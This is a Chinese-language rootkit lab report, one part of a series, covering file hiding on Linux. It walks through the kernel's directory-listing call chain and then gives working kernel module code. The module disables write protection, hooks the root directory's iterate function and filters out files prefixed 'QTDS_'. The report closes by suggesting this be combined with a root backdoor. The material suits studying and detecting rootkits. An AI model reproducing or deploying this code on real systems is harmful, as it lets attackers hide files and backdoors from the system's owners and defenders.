Linux Rootkit 实验 | 00022 Rootkit 基本功能实现x隐藏文件
大江歌罢掉头东,邃密群科济世穷。
实验说明
本次实验将初步实现 rootkit 的基本功能:
阻止其他内核模块加载
提供 root 后门
隐藏文件
隐藏进程
隐藏端口
隐藏内核模块
本次实验基于 0001 实验中学习的挂钩技术。
注:由于本次实验内容过多,故分为00020
到00025
六个实验报告分别讲解。
本节实现“隐藏文件”功能
实验环境
uname -a:
Linux kali 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux
GCC version:6.1.1
上述环境搭建于虚拟机,另外在没有特殊说明的情况下,均以 root 权限执行。
注:后面实验参考的是4.10.10的源码
实验过程
隐藏文件
我们要了解文件遍历的实现,才能够理解隐藏文件的思路。文件遍历主要通过是系统调用getdents
和getdents64
实现,它们的作用是获取目录项。
我们先看一下getdents
的man page
:
int getdents(unsigned int fd, struct linux_dirent *dirp,
unsigned int count);
/* The system call getdents() reads several linux_dirent structures from the directory referred to by the open file descriptor fd into the buffer pointed to by dirp. The argument count specifies the size of that buffer. */
我们跟进看一下struct linux_dirent
:
struct linux_dirent {
unsigned long d_ino ; /* Inode number */
unsigned long d_off ; /* Offset to next linux_dirent */
unsigned short d_reclen ; /* Length of this linux_dirent */
char d_name [ 1 ];
};
我们看一下getdents
系统调用的定义:
// fs/readdir.c
SYSCALL_DEFINE3 ( getdents , unsigned int , fd ,
struct linux_dirent __user * , dirent , unsigned int , count )
{
struct fd f ;
struct linux_dirent __user * lastdirent ;
struct getdents_callback buf = {
. ctx . actor = filldir ,
. count = count ,
. current_dir = dirent
};
...
error = iterate_dir ( f . file , & buf . ctx );
...
}
其中filldir
作为回调函数,用于把一项记录(如一个目录下的文件或目录)填到返回的缓冲区里。而iterate_dir
则是经过若干层次后调用filldir
。
跟进iterate_dir
:
// fs/readdir.c
int iterate_dir ( struct file * file , struct dir_context * ctx )
{
...
if ( ! IS_DEADDIR ( inode )) {
ctx -> pos = file -> f_pos ;
if ( shared ) // 这里,通过 iterate_shared 调用了回调函数
res = file -> f_op -> iterate_shared ( file , ctx );
else // 这里,通过 iterate 调用了回调函数
res = file -> f_op -> iterate ( file , ctx );
file -> f_pos = ctx -> pos ;
fsnotify_access ( file );
file_accessed ( file );
}
...
}
跟进看一下iterate
:
// include/linux/fs.h
struct file_operations {
...
int ( * iterate ) ( struct file * , struct dir_context * );
int ( * iterate_shared ) ( struct file * , struct dir_context * );
...
};
我们暂时不管iterate
与iterate_shared
的区别。这正是我们在0001
实验中提过的file_operations
。与0001
相同,我们要钩掉这里原本的iterate
或者iterate_shared
。
跟进一下dir_context
:
// include/linux/fs.h
struct dir_context ;
typedef int ( * filldir_t )( struct dir_context * , const char * , int , loff_t , u64 , unsigned );
struct dir_context {
const filldir_t actor ;
loff_t pos ;
};
这个actor
正是之前的filldir
。现在还缺一环 这个调用链就完整了,即,iterate
只是file_operations
结构体中的一个函数指针成员,它在哪里完成了初始化呢(即它指向的默认的iterate
函数的具体的代码在哪里呢)?对于不同文件系统有不同的实现,我们以ext4
为例:
// fs/ext4/dir.c
const struct file_operations ext4_dir_operations = {
. llseek = ext4_dir_llseek ,
. read = generic_read_dir ,
. iterate_shared = ext4_readdir ,
. unlocked_ioctl = ext4_ioctl ,
#ifdef CONFIG_COMPAT
. compat_ioctl = ext4_compat_ioctl ,
#endif
. fsync = ext4_sync_file ,
. open = ext4_dir_open ,
. release = ext4_release_dir ,
};
可以看到,ext4
并没有用iterate
,而是用了iterate_shared
成员。我们跟进看一下ext4_readdir
:
// fs/ext4/dir.c
static int ext4_readdir ( struct file * file , struct dir_context * ctx )
{
...
if ( is_dx_dir ( inode )) {
err = ext4_dx_readdir ( file , ctx );
...
}
...
}
static int ext4_dx_readdir ( struct file * file , struct dir_context * ctx )
{
...
if ( call_filldir ( file , ctx , fname ))
...
}
/*
* This is a helper function for ext4_dx_readdir. It calls filldir
* for all entres on the fname linked list. (Normally there is only
* one entry on the linked list, unless there are 62 bit hash collisions.)
*/
static int call_filldir ( struct file * file , struct dir_context * ctx ,
struct fname * fname )
{
...
while ( fname ) {
if ( ! dir_emit ( ctx , fname -> name ,
fname -> name_len ,
fname -> inode ,
get_dtype ( sb , fname -> file_type ))) {
info -> extra_fname = fname ;
return 1 ;
}
fname = fname -> next ;
}
...
}
static inline bool dir_emit ( struct dir_context * ctx ,
const char * name , int namelen ,
u64 ino , unsigned type )
{
return ctx -> actor ( ctx , name , namelen , ctx -> pos , ino , type ) == 0 ;
}
这一部分真的是很复杂,还涉及到了红黑树。总之追踪到最后,我们可以看到在dir_emit
中调用了ctx->actor
,即filldir
。
OK。最后一环也有了,我们看filldir
:
// fs/readdir.c
static int filldir ( struct dir_context * ctx , const char * name , int namlen ,
loff_t offset , u64 ino , unsigned int d_type )
{
...
}
正主是上面这位。现在思路已经形成了:首先钩掉iterate
,再把我们的iterate
中actor
设定为我们自己的filldir
。filldir
很复杂,我们把自己的filldir
做成仅仅给真正的filldir
加层壳,把我们想要过滤掉的文件名过滤掉(不传给真正的filldir
),把其他的正常传给filldir
处理,再经由我们返回即可。
我们只需要替换掉根目录/
的iterate
即可。
下面开工啦!
首先给出我们的假iterate
和假filldir
:
int ( * real_iterate )( struct file * , struct dir_context * );
int ( * real_filldir )( struct dir_context * , const char * , int , \
loff_t , u64 , unsigned );
int fake_iterate ( struct file * filp , struct dir_context * ctx )
{
// 备份真的 ``filldir``,以备后面之需。
real_filldir = ctx -> actor ;
// 把 ``struct dir_context`` 里的 ``actor``,
// 也就是真的 ``filldir``
// 替换成我们的假 ``filldir``
* ( filldir_t * ) & ctx -> actor = fake_filldir ;
return real_iterate ( filp , ctx );
}
#define SECRET_FILE "QTDS_"
int fake_filldir ( struct dir_context * ctx , const char * name , int namlen ,
loff_t offset , u64 ino , unsigned d_type )
{
if ( strncmp ( name , SECRET_FILE , strlen ( SECRET_FILE )) == 0 ) {
// 如果是需要隐藏的文件,直接返回,不填到缓冲区里。
printk ( "Hiding: %s" , name );
return 0 ;
}
// 如果不是需要隐藏的文件,
// 交给的真的 ``filldir`` 把这个记录填到缓冲区里。
return real_filldir ( ctx , name , namlen , offset , ino , d_type );
}
接着是一个宏,用来替换某个目录下的iterate
#define set_f_op(op, path, new, old) \
do{ \
struct file *filp; \
struct file_operations *f_op; \
printk("Opening the path: %s.\n", path); \
filp = filp_open(path, O_RDONLY, 0); \
if(IS_ERR(filp)){ \
printk("Failed to open %s with error %ld.\n", \
path, PTR_ERR(filp)); \
old = NULL; \
} \
else{ \
printk("Succeeded in opening: %s.\n", path); \
f_op = (struct file_operations *)filp->f_op; \
old = f_op->op; \
printk("Changing iterate from %p to %p.\n", \
old, new); \
disable_write_protection(); \
f_op->op = new; \
enable_write_protection(); \
} \
}while(0)
开关写保护的函数请参考0001
实验。最后是入口出口函数中添加的内容:
#define ROOT_PATH "/"
// in init
set_f_op ( iterate , ROOT_PATH , fake_iterate , real_iterate );
if ( ! real_iterate ){
return - ENOENT ;
}
// in exit
if ( real_iterate ){
void * dummy ;
set_f_op ( iterate , ROOT_PATH , real_iterate , dummy );
}
可以看到,这里我们替换的是iterate
而非iterate_shared
。因为实验环境是4.6.0
内核,大家可以找4.6.0
的代码看,它使用了iterate
而非iterate_shared
,但是到4.10.0
就是iterate_shared
了。这也引出了 rootkit 兼容性的问题,这些内核版本差异的细枝末节实在太多了,这个话题先到此为止。
在我们的设定里,所有以QTDS_
为前缀的文件都会被隐藏(QTDS = “齐天大圣”)。
测试结果如下:
首先,我们加载fileHid
模块:
接着创建hello
文件,可以看到,hello
文件正常显示。我们把hello
更名为QTDS_hello
,这时再ls
,发现文件消失,且dmesg
中有我们设定的打印语句:
此时只是用户看不到文件而已,但如果知道文件名,还是可以对它操作:
这时如果卸载模块,则文件又会显现出来:
日志则会记录iterate
的改变:
将“提供 root 后门”环节和本环节的方法结合,就可以做出隐藏的 root 后门。
参考资料